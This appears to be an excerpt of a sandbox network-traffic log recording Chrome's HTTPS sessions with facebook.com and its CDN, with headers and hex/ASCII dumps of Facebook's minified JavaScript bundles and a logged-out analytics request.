2024-04-11 20:35:35 UTC	16101	IN	Data Raw: 2f 2a 46 42 5f 50 4b 47 5f 44 45 4c 49 4d 2a 2f 0a 0a 5f 5f 64 28 22 4d 61 6e 61 67 65 43 6f 6e 73 74 69 74 75 65 6e 74 42 61 64 67 65 44 69 61 6c 6f 67 51 75 65 72 79 5f 66 61 63 65 62 6f 6f 6b 52 65 6c 61 79 4f 70 65 72 61 74 69 6f 6e 22 2c 5b 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 65 2e 65 78 70 6f 72 74 73 3d 22 36 36 36 31 36 39 32 38 37 37 32 31 34 37 34 32 22 7d 29 2c 6e 75 6c 6c 29 3b 0a 5f 5f 64 28 22 4d 61 6e 61 67 65 43 6f 6e 73 74 69 74 75 65 6e 74 42 61 64 67 65 44 69 61 6c 6f 67 51 75 65 72 79 24 50 61 72 61 6d 65 74 65 72 73 22 2c 5b 22 4d 61 6e 61 67 65 43 6f 6e 73 74 69 74 75 65 6e 74 42 61 64 67 65 44 69 61 6c 6f 67 51 75 65 72 79 5f 66 61 63 65 62 6f 6f 6b 52 65 6c 61 79 4f 70 65 72 61 74 69 6f 6e 22 Data Ascii: /FB_PKG_DELIM/__d("ManageConstituentBadgeDialogQuery_facebookRelayOperation",[],(function(a,b,c,d,e,f){e.exports="6661692877214742"}),null);__d("ManageConstituentBadgeDialogQuery$Parameters",["ManageConstituentBadgeDialogQuery_facebookRelayOperation"
2024-04-11 20:35:35 UTC	16384	IN	Data Raw: 73 65 6c 65 63 74 69 6f 6e 73 3a 5b 68 2c 6e 2c 7b 6b 69 6e 64 3a 22 49 6e 6c 69 6e 65 46 72 61 67 6d 65 6e 74 22 2c 73 65 6c 65 63 74 69 6f 6e 73 3a 5b 6c 2c 6a 2c 7b 61 6c 69 61 73 3a 6e 75 6c 6c 2c 61 72 67 73 3a 6e 75 6c 6c 2c 63 6f 6e 63 72 65 74 65 54 79 70 65 3a 6e 75 6c 6c 2c 6b 69 6e 64 3a 22 4c 69 6e 6b 65 64 46 69 65 6c 64 22 2c 6e 61 6d 65 3a 22 65 6e 74 72 69 65 73 22 2c 70 6c 75 72 61 6c 3a 21 30 2c 73 65 6c 65 63 74 69 6f 6e 73 3a 5b 68 2c 6e 5d 2c 73 74 6f 72 61 67 65 4b 65 79 3a 6e 75 6c 6c 7d 5d 2c 74 79 70 65 3a 22 58 46 42 4d 65 6e 74 69 6f 6e 73 53 65 63 74 69 6f 6e 45 6e 74 72 79 22 2c 61 62 73 74 72 61 63 74 4b 65 79 3a 6e 75 6c 6c 7d 5d 2c 73 74 6f 72 61 67 65 4b 65 79 3a 6e 75 6c 6c 7d 5d 7d 2c 70 61 72 61 6d 73 3a 7b 69 64 3a 62 Data Ascii: selections:[h,n,{kind:"InlineFragment",selections:[l,j,{alias:null,args:null,concreteType:null,kind:"LinkedField",name:"entries",plural:!0,selections:[h,n],storageKey:null}],type:"XFBMentionsSectionEntry",abstractKey:null}],storageKey:null}]},params:{id:b
2024-04-11 20:35:35 UTC	16384	IN	Data Raw: 65 78 74 75 61 6c 50 72 6f 66 69 6c 65 48 61 6e 64 6c 65 72 22 2c 61 62 73 74 72 61 63 74 4b 65 79 3a 6e 75 6c 6c 7d 2c 7b 6b 69 6e 64 3a 22 49 6e 6c 69 6e 65 46 72 61 67 6d 65 6e 74 22 2c 73 65 6c 65 63 74 69 6f 6e 73 3a 5b 7b 61 72 67 73 3a 6e 75 6c 6c 2c 64 6f 63 75 6d 65 6e 74 4e 61 6d 65 3a 22 50 72 6f 66 69 6c 65 43 6f 6d 65 74 41 63 74 69 6f 6e 54 72 69 67 67 65 72 5f 61 63 74 69 6f 6e 22 2c 66 72 61 67 6d 65 6e 74 4e 61 6d 65 3a 22 50 72 6f 66 69 6c 65 43 6f 6d 65 74 41 63 74 69 6f 6e 43 6f 6e 74 65 78 74 75 61 6c 50 72 6f 66 69 6c 65 52 65 70 6f 72 74 42 69 6f 48 61 6e 64 6c 65 72 5f 68 61 6e 64 6c 65 72 22 2c 66 72 61 67 6d 65 6e 74 50 72 6f 70 4e 61 6d 65 3a 22 68 61 6e 64 6c 65 72 22 2c 6b 69 6e 64 3a 22 4d 6f 64 75 6c 65 49 6d 70 6f 72 74 22 Data Ascii: extualProfileHandler",abstractKey:null},{kind:"InlineFragment",selections:[{args:null,documentName:"ProfileCometActionTrigger_action",fragmentName:"ProfileCometActionContextualProfileReportBioHandler_handler",fragmentPropName:"handler",kind:"ModuleImport"
2024-04-11 20:35:35 UTC	16384	IN	Data Raw: 6c 65 43 6f 6d 65 74 41 63 74 69 6f 6e 50 72 65 66 65 72 72 65 64 49 6e 74 65 72 61 63 74 69 6f 6e 48 61 6e 64 6c 65 72 5f 68 61 6e 64 6c 65 72 22 2c 66 72 61 67 6d 65 6e 74 50 72 6f 70 4e 61 6d 65 3a 22 68 61 6e 64 6c 65 72 22 2c 6b 69 6e 64 3a 22 4d 6f 64 75 6c 65 49 6d 70 6f 72 74 22 7d 5d 2c 74 79 70 65 3a 22 50 72 6f 66 69 6c 65 41 63 74 69 6f 6e 50 72 65 66 65 72 72 65 64 49 6e 74 65 72 61 63 74 69 6f 6e 48 61 6e 64 6c 65 72 22 2c 61 62 73 74 72 61 63 74 4b 65 79 3a 6e 75 6c 6c 7d 2c 7b 6b 69 6e 64 3a 22 49 6e 6c 69 6e 65 46 72 61 67 6d 65 6e 74 22 2c 73 65 6c 65 63 74 69 6f 6e 73 3a 5b 7b 61 72 67 73 3a 6e 75 6c 6c 2c 64 6f 63 75 6d 65 6e 74 4e 61 6d 65 3a 22 50 72 6f 66 69 6c 65 43 6f 6d 65 74 41 63 74 69 6f 6e 54 72 69 67 67 65 72 5f 61 63 74 69 Data Ascii: leCometActionPreferredInteractionHandler_handler",fragmentPropName:"handler",kind:"ModuleImport"}],type:"ProfileActionPreferredInteractionHandler",abstractKey:null},{kind:"InlineFragment",selections:[{args:null,documentName:"ProfileCometActionTrigger_acti
2024-04-11 20:35:35 UTC	1500	IN	Data Raw: 63 6b 22 2c 43 4f 4d 50 4f 53 45 52 5f 43 4c 4f 53 45 5f 43 41 4e 43 45 4c 3a 22 43 4f 4d 50 4f 53 45 52 5f 43 4c 4f 53 45 5f 43 41 4e 43 45 4c 22 2c 43 4f 4d 50 4f 53 45 52 5f 4f 50 45 4e 3a 22 43 4f 4d 50 4f 53 45 52 5f 4f 50 45 4e 22 2c 43 52 45 41 54 45 5f 43 4f 4d 4d 45 4e 54 3a 22 43 52 45 41 54 45 5f 43 4f 4d 4d 45 4e 54 22 2c 43 52 45 41 54 45 5f 50 4f 53 54 3a 22 43 52 45 41 54 45 5f 50 4f 53 54 22 2c 45 56 45 4e 54 5f 41 44 44 5f 54 4f 5f 43 41 4c 45 4e 44 41 52 3a 22 45 56 45 4e 54 5f 41 44 44 5f 54 4f 5f 43 41 4c 45 4e 44 41 52 22 2c 45 56 45 4e 54 5f 45 58 50 4f 52 54 5f 46 4c 4f 57 5f 4f 50 45 4e 3a 22 45 56 45 4e 54 5f 45 58 50 4f 52 54 5f 46 4c 4f 57 5f 4f 50 45 4e 22 2c 45 56 45 4e 54 5f 53 45 4e 44 5f 54 4f 5f 45 4d 41 49 4c 3a 22 45 56 Data Ascii: ck",COMPOSER_CLOSE_CANCEL:"COMPOSER_CLOSE_CANCEL",COMPOSER_OPEN:"COMPOSER_OPEN",CREATE_COMMENT:"CREATE_COMMENT",CREATE_POST:"CREATE_POST",EVENT_ADD_TO_CALENDAR:"EVENT_ADD_TO_CALENDAR",EVENT_EXPORT_FLOW_OPEN:"EVENT_EXPORT_FLOW_OPEN",EVENT_SEND_TO_EMAIL:"EV
2024-04-11 20:35:35 UTC	14884	IN	Data Raw: 54 49 56 45 5f 44 45 56 49 43 45 5f 41 46 46 4f 52 44 41 4e 43 45 3a 22 42 41 43 4b 5f 4e 41 54 49 56 45 5f 44 45 56 49 43 45 5f 41 46 46 4f 52 44 41 4e 43 45 22 2c 42 41 43 4b 5f 4e 41 54 49 56 45 5f 44 45 56 49 43 45 5f 41 46 46 4f 52 44 41 4e 43 45 5f 43 41 4e 43 45 4c 3a 22 42 41 43 4b 5f 4e 41 54 49 56 45 5f 44 45 56 49 43 45 5f 41 46 46 4f 52 44 41 4e 43 45 5f 43 41 4e 43 45 4c 22 2c 52 45 45 4e 54 45 52 5f 47 52 4f 55 50 5f 4d 41 4c 4c 3a 22 52 45 45 4e 54 45 52 5f 47 52 4f 55 50 5f 4d 41 4c 4c 22 2c 4c 4f 41 44 5f 43 4f 4d 4d 45 4e 54 5f 42 4f 54 54 4f 4d 5f 53 48 45 45 54 3a 22 4c 4f 41 44 5f 43 4f 4d 4d 45 4e 54 5f 42 4f 54 54 4f 4d 5f 53 48 45 45 54 22 2c 4c 4f 41 44 5f 45 56 45 4e 54 5f 50 45 52 4d 41 4c 49 4e 4b 3a 22 4c 4f 41 44 5f 45 56 45 Data Ascii: TIVE_DEVICE_AFFORDANCE:"BACK_NATIVE_DEVICE_AFFORDANCE",BACK_NATIVE_DEVICE_AFFORDANCE_CANCEL:"BACK_NATIVE_DEVICE_AFFORDANCE_CANCEL",REENTER_GROUP_MALL:"REENTER_GROUP_MALL",LOAD_COMMENT_BOTTOM_SHEET:"LOAD_COMMENT_BOTTOM_SHEET",LOAD_EVENT_PERMALINK:"LOAD_EVE
2024-04-11 20:35:35 UTC	16384	IN	Data Raw: 6f 72 61 67 65 4b 65 79 22 2c 22 50 72 6f 6d 69 73 65 22 2c 22 57 65 62 53 74 6f 72 61 67 65 22 2c 22 72 65 63 6f 76 65 72 61 62 6c 65 56 69 6f 6c 61 74 69 6f 6e 22 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 2c 67 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 68 2c 69 2c 6a 3d 31 65 33 2a 36 30 2a 36 30 2a 32 34 3b 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 61 28 61 29 7b 76 61 72 20 62 3d 61 2e 73 74 6f 72 61 67 65 4b 65 79 2c 65 3d 61 2e 73 74 6f 72 61 67 65 54 69 6d 65 73 70 61 6e 3b 65 3d 65 3d 3d 3d 76 6f 69 64 20 30 3f 6a 3a 65 3b 61 3d 62 61 62 65 6c 48 65 6c 70 65 72 73 2e 6f 62 6a 65 63 74 57 69 74 68 6f 75 74 50 72 6f 70 65 72 74 69 65 73 4c 6f 6f 73 65 28 61 2c 5b 22 73 74 6f 72 61 67 Data Ascii: orageKey","Promise","WebStorage","recoverableViolation"],(function(a,b,c,d,e,f,g){"use strict";var h,i,j=1e36060*24;a=function(){function a(a){var b=a.storageKey,e=a.storageTimespan;e=e===void 0?j:e;a=babelHelpers.objectWithoutPropertiesLoose(a,["storag
2024-04-11 20:35:35 UTC	16384	IN	Data Raw: 29 2e 67 65 74 28 29 7d 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 63 28 61 2c 62 2c 63 29 7b 76 61 72 20 65 3d 62 2e 61 63 74 69 6f 6e 52 65 6e 64 65 72 4c 6f 63 61 74 69 6f 6e 2c 66 3d 62 2e 69 73 54 72 61 63 6b 69 6e 67 45 6e 63 72 79 70 74 65 64 2c 67 3d 62 2e 6e 61 76 69 67 61 74 69 6f 6e 43 68 61 69 6e 2c 68 3d 62 2e 6f 6e 45 72 72 6f 72 2c 6b 3d 62 2e 6f 6e 53 75 63 63 65 73 73 2c 6c 3d 62 2e 73 75 62 73 63 72 69 62 65 4c 6f 63 61 74 69 6f 6e 2c 6d 3d 62 2e 74 72 61 63 6b 69 6e 67 3b 62 3d 62 2e 75 73 65 72 49 44 3b 64 28 22 43 6f 6d 65 74 52 65 6c 61 79 22 29 2e 65 6e 71 75 65 75 65 4d 75 74 61 74 69 6f 6e 28 61 2c 7b 6d 75 74 61 74 69 6f 6e 3a 69 2c 6f 6e 43 6f 6d 70 6c 65 74 65 64 3a 6b 2c 6f 6e 45 72 72 6f 72 3a 68 2c 6f 70 74 69 6d 69 73 74 69 63 52 Data Ascii: ).get()}})}function c(a,b,c){var e=b.actionRenderLocation,f=b.isTrackingEncrypted,g=b.navigationChain,h=b.onError,k=b.onSuccess,l=b.subscribeLocation,m=b.tracking;b=b.userID;d("CometRelay").enqueueMutation(a,{mutation:i,onCompleted:k,onError:h,optimisticR
2024-04-11 20:35:35 UTC	7495	IN	Data Raw: 69 74 3a 61 2c 6f 70 74 69 6d 69 73 74 69 63 45 72 72 6f 72 43 6f 64 65 3a 65 2e 6f 70 74 69 6d 69 73 74 69 63 5f 65 72 72 6f 72 5f 63 6f 64 65 7d 29 7d 29 5d 7d 29 7d 61 2e 64 69 73 70 6c 61 79 4e 61 6d 65 3d 61 2e 6e 61 6d 65 2b 22 20 5b 66 72 6f 6d 20 22 2b 66 2e 69 64 2b 22 5d 22 3b 67 5b 22 64 65 66 61 75 6c 74 22 5d 3d 61 7d 29 2c 32 32 36 29 3b 0a 5f 5f 64 28 22 43 6f 6d 65 74 55 46 49 43 6f 6d 6d 65 6e 74 49 6e 6c 69 6e 65 46 6f 6c 6c 6f 77 43 54 41 2e 72 65 61 63 74 22 2c 5b 22 66 62 74 22 2c 22 42 61 73 65 4d 69 64 64 6f 74 2e 72 65 61 63 74 22 2c 22 43 6f 6d 65 74 46 65 65 64 55 6e 69 74 51 75 65 72 79 56 61 72 69 61 62 6c 65 73 43 6f 6e 74 65 78 74 22 2c 22 43 6f 6d 65 74 50 72 65 73 73 61 62 6c 65 2e 72 65 61 63 74 22 2c 22 43 6f 6d 65 74 52 Data Ascii: it:a,optimisticErrorCode:e.optimistic_error_code})})]})}a.displayName=a.name+" [from "+f.id+"]";g["default"]=a}),226);__d("CometUFICommentInlineFollowCTA.react",["fbt","BaseMiddot.react","CometFeedUnitQueryVariablesContext","CometPressable.react","CometR

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
177	192.168.2.4	49996	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:35 UTC	610	OUT	GET /rsrc.php/v3i-Vf4/y1/l/en_US/CStAmTwl6_y.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:35 UTC	1676	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: aSr6FYlzHhmKwyYr0xezJQ== Expires: Fri, 11 Apr 2025 03:07:21 GMT Cache-Control: public,max-age=31536000,immutable reporting-endpoints: permissions_policy="https://www.xx.facebook.com/ajax/browser_error_reports/" timing-allow-origin: * document-policy: force-load-at-top permissions-policy: accelerometer=(), attribution-reporting=(), autoplay=(), bluetooth=(), camera=(), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(self), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), picture-in-picture=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=(), xr-spatial-tracking=();report-to="permissions_policy" cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff report-to: {"max_age":21600,"endpoints":[{"url":"https:\/\/www.xx.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"} X-FB-Debug: 1z8CZJ17ILeXHhieObA/Zg3bATvWUy1pbZ13Jy0sjqj+8ctzA/b2uwhr6RUTL/gAHeaFqY0PUTqZ47HOAls+JQ== Date: Thu, 11 Apr 2024 20:35:35 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin X-FB-Connection-Quality: GOOD; q=0.7, rtt=82, rtx=0, c=14, mss=1277, tbw=3412, tp=-1, tpl=-1, uplat=2, ullat=-1 Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 43510
2024-04-11 20:35:35 UTC	1	IN	Data Raw: 3b Data Ascii: ;
2024-04-11 20:35:35 UTC	16128	IN	Data Raw: 2f 2a 46 42 5f 50 4b 47 5f 44 45 4c 49 4d 2a 2f 0a 0a 5f 5f 64 28 22 63 72 65 61 74 65 46 65 65 64 43 6f 6d 65 74 4d 65 6e 74 69 6f 6e 73 44 61 74 61 45 6e 74 72 79 57 69 74 68 54 61 67 53 75 67 67 65 73 74 69 6f 6e 5f 64 61 74 61 2e 67 72 61 70 68 71 6c 22 2c 5b 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 61 3d 7b 61 72 67 75 6d 65 6e 74 44 65 66 69 6e 69 74 69 6f 6e 73 3a 5b 7b 6b 69 6e 64 3a 22 52 6f 6f 74 41 72 67 75 6d 65 6e 74 22 2c 6e 61 6d 65 3a 22 73 63 61 6c 65 22 7d 5d 2c 6b 69 6e 64 3a 22 46 72 61 67 6d 65 6e 74 22 2c 6d 65 74 61 64 61 74 61 3a 7b 6d 61 73 6b 3a 21 31 7d 2c 6e 61 6d 65 3a 22 63 72 65 61 74 65 46 65 65 64 43 6f 6d 65 74 4d 65 6e 74 69 6f 6e 73 44 61 74 61 45 Data Ascii: /FB_PKG_DELIM/__d("createFeedCometMentionsDataEntryWithTagSuggestion_data.graphql",[],(function(a,b,c,d,e,f){"use strict";a={argumentDefinitions:[{kind:"RootArgument",name:"scale"}],kind:"Fragment",metadata:{mask:!1},name:"createFeedCometMentionsDataE
2024-04-11 20:35:35 UTC	16384	IN	Data Raw: 21 30 29 3b 76 61 72 20 46 3d 7a 5b 30 5d 2c 47 3d 7a 5b 31 5d 2c 48 3d 6d 28 6e 75 6c 6c 29 2c 49 3d 6d 28 77 29 3b 6b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 49 2e 63 75 72 72 65 6e 74 3d 77 7d 2c 5b 77 5d 29 3b 76 61 72 20 4a 3d 6a 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 73 26 26 73 28 61 29 2c 42 28 61 29 2c 79 2e 63 75 72 72 65 6e 74 3d 61 7d 2c 5b 73 5d 29 3b 7a 3d 63 28 22 75 73 65 42 61 73 65 54 79 70 65 61 68 65 61 64 44 61 74 61 53 6f 75 72 63 65 46 65 74 63 68 22 29 28 7b 64 61 74 61 53 6f 75 72 63 65 3a 66 2c 6f 6e 52 65 73 6f 6c 76 65 50 61 79 6c 6f 61 64 3a 6a 28 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3b 61 3d 61 2e 65 6e 74 72 69 65 73 3b 43 2e 63 75 72 72 65 6e 74 3d 61 3b 45 28 61 29 3b 76 61 72 20 64 3d 63 28 22 62 61 73 65 54 79 Data Ascii: !0);var F=z[0],G=z[1],H=m(null),I=m(w);k(function(){I.current=w},[w]);var J=j(function(a){s&&s(a),B(a),y.current=a},[s]);z=c("useBaseTypeaheadDataSourceFetch")({dataSource:f,onResolvePayload:j(function(a){var b;a=a.entries;C.current=a;E(a);var d=c("baseTy
2024-04-11 20:35:35 UTC	10997	IN	Data Raw: 30 37 36 64 5c 75 30 37 38 30 2d 5c 75 30 37 61 35 5c 75 30 37 62 31 5c 75 30 39 30 34 2d 5c 75 30 39 33 39 5c 75 30 39 33 64 5c 75 30 39 35 30 5c 75 30 39 35 38 2d 5c 75 30 39 36 31 5c 75 30 39 37 64 5c 75 30 39 38 35 2d 5c 75 30 39 38 63 5c 75 30 39 38 66 2d 5c 75 30 39 39 30 5c 75 30 39 39 33 2d 5c 75 30 39 61 38 5c 75 30 39 61 61 2d 5c 75 30 39 62 30 5c 75 30 39 62 32 5c 75 30 39 62 36 2d 5c 75 30 39 62 39 5c 75 30 39 62 64 5c 75 30 39 63 65 5c 75 30 39 64 63 2d 5c 75 30 39 64 64 5c 75 30 39 64 66 2d 5c 75 30 39 65 31 5c 75 30 39 66 30 2d 5c 75 30 39 66 31 5c 75 30 61 30 35 2d 5c 75 30 61 30 61 5c 75 30 61 30 66 2d 5c 75 30 61 31 30 5c 75 30 61 31 33 2d 5c 75 30 61 32 38 5c 75 30 61 32 61 2d 5c 75 30 61 33 30 5c 75 30 61 33 32 2d 5c 75 30 61 33 33 5c Data Ascii: 076d\u0780-\u07a5\u07b1\u0904-\u0939\u093d\u0950\u0958-\u0961\u097d\u0985-\u098c\u098f-\u0990\u0993-\u09a8\u09aa-\u09b0\u09b2\u09b6-\u09b9\u09bd\u09ce\u09dc-\u09dd\u09df-\u09e1\u09f0-\u09f1\u0a05-\u0a0a\u0a0f-\u0a10\u0a13-\u0a28\u0a2a-\u0a30\u0a32-\u0a33\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
178	192.168.2.4	50005	157.240.241.35	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:35 UTC	1308	OUT	POST /ajax/bz?__a=1&__aaid=0&__ccg=GOOD&__comet_req=15&__hs=19824.HYP%3Acomet_loggedout_pkg.2.1..0.0&__hsi=7356710875980239076&__req=a&__rev=1012711792&__s=1vpone%3Ab6v500%3A45heop&__spin_b=trunk&__spin_r=1012711792&__spin_t=1712867728&__user=0&dpr=1&jazoest=2954&lsd=AVqJt7mBmTM&ph=C3 HTTP/1.1 Host: www.facebook.com Connection: keep-alive Content-Length: 3333 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 viewport-width: 1280 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryWJW5oxAxpAaTzPdP sec-ch-ua-platform-version: "10.0.0" dpr: 1 sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-model: "" sec-ch-prefers-color-scheme: light sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.facebook.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.facebook.com/bfjfinancial/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: wd=1280x907; _js_datr=kEkYZr_nDMrv36ebLjkbz_9w; fr=0NqpAIrXcNFAcNEy2..BmGEmW..AAA.0.0.BmGEmW.AWUK-u5q2Y4
2024-04-11 20:35:35 UTC	3333	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 57 4a 57 35 6f 78 41 78 70 41 61 54 7a 50 64 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 73 22 0d 0a 0d 0a 31 37 31 32 38 36 37 37 33 34 33 32 31 0d 0a 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 57 4a 57 35 6f 78 41 78 70 41 61 54 7a 50 64 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 6f 73 74 5f 30 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 62 6c 6f 62 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a 78 9c e5 57 d9 Data Ascii: ------WebKitFormBoundaryWJW5oxAxpAaTzPdPContent-Disposition: form-data; name="ts"1712867734321------WebKitFormBoundaryWJW5oxAxpAaTzPdPContent-Disposition: form-data; name="post_0"; filename="blob"Content-Type: application/octet-streamxW
2024-04-11 20:35:35 UTC	896	IN	HTTP/1.1 200 OK reporting-endpoints: coop_report="https://www.facebook.com/browser_reporting/coop/?minimize=0", coep_report="https://www.facebook.com/browser_reporting/coep/?minimize=0", default="https://www.facebook.com/ajax/comet_error_reports/?device_level=unknown", permissions_policy="https://www.facebook.com/ajax/browser_error_reports/" report-to: {"max_age":2592000,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coop\/?minimize=0"}],"group":"coop_report","include_subdomains":true}, {"max_age":86400,"endpoints":[{"url":"https:\/\/www.facebook.com\/browser_reporting\/coep\/?minimize=0"}],"group":"coep_report"}, {"max_age":259200,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/comet_error_reports\/?device_level=unknown"}]}, {"max_age":21600,"endpoints":[{"url":"https:\/\/www.facebook.com\/ajax\/browser_error_reports\/"}],"group":"permissions_policy"}
2024-04-11 20:35:35 UTC	1903	IN	Data Raw: 63 6f 6e 74 65 6e 74 2d 73 65 63 75 72 69 74 79 2d 70 6f 6c 69 63 79 3a 20 64 65 66 61 75 6c 74 2d 73 72 63 20 64 61 74 61 3a 20 62 6c 6f 62 3a 20 27 73 65 6c 66 27 20 68 74 74 70 73 3a 2f 2f 2a 2e 66 62 73 62 78 2e 63 6f 6d 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 27 75 6e 73 61 66 65 2d 65 76 61 6c 27 3b 73 63 72 69 70 74 2d 73 72 63 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 20 2a 2e 66 62 63 64 6e 2e 6e 65 74 20 2a 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 31 32 37 2e 30 2e 30 2e 31 3a 2a 20 27 75 6e 73 61 66 65 2d 69 6e 6c 69 6e 65 27 20 62 6c 6f 62 3a 20 64 61 74 61 3a 20 27 73 65 6c 66 27 20 63 6f 6e 6e 65 63 74 2e 66 61 63 65 62 6f 6f 6b 2e 6e 65 74 20 27 Data Ascii: content-security-policy: default-src data: blob: 'self' https://.fbsbx.com 'unsafe-inline' .facebook.com .fbcdn.net 'unsafe-eval';script-src .facebook.com .fbcdn.net .facebook.net 127.0.0.1:* 'unsafe-inline' blob: data: 'self' connect.facebook.net '
2024-04-11 20:35:35 UTC	1758	IN	Data Raw: 70 65 72 6d 69 73 73 69 6f 6e 73 2d 70 6f 6c 69 63 79 3a 20 61 63 63 65 6c 65 72 6f 6d 65 74 65 72 3d 28 29 2c 20 61 74 74 72 69 62 75 74 69 6f 6e 2d 72 65 70 6f 72 74 69 6e 67 3d 28 73 65 6c 66 29 2c 20 61 75 74 6f 70 6c 61 79 3d 28 29 2c 20 62 6c 75 65 74 6f 6f 74 68 3d 28 29 2c 20 63 61 6d 65 72 61 3d 28 73 65 6c 66 29 2c 20 63 68 2d 64 65 76 69 63 65 2d 6d 65 6d 6f 72 79 3d 28 29 2c 20 63 68 2d 64 6f 77 6e 6c 69 6e 6b 3d 28 29 2c 20 63 68 2d 65 63 74 3d 28 29 2c 20 63 68 2d 72 74 74 3d 28 29 2c 20 63 68 2d 73 61 76 65 2d 64 61 74 61 3d 28 29 2c 20 63 68 2d 75 61 2d 61 72 63 68 3d 28 29 2c 20 63 68 2d 75 61 2d 62 69 74 6e 65 73 73 3d 28 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 72 65 61 64 3d 28 73 65 6c 66 29 2c 20 63 6c 69 70 62 6f 61 72 64 2d 77 72 69 Data Ascii: permissions-policy: accelerometer=(), attribution-reporting=(self), autoplay=(), bluetooth=(), camera=(self), ch-device-memory=(), ch-downlink=(), ch-ect=(), ch-rtt=(), ch-save-data=(), ch-ua-arch=(), ch-ua-bitness=(), clipboard-read=(self), clipboard-wri

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
179	192.168.2.4	50010	157.240.241.1	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
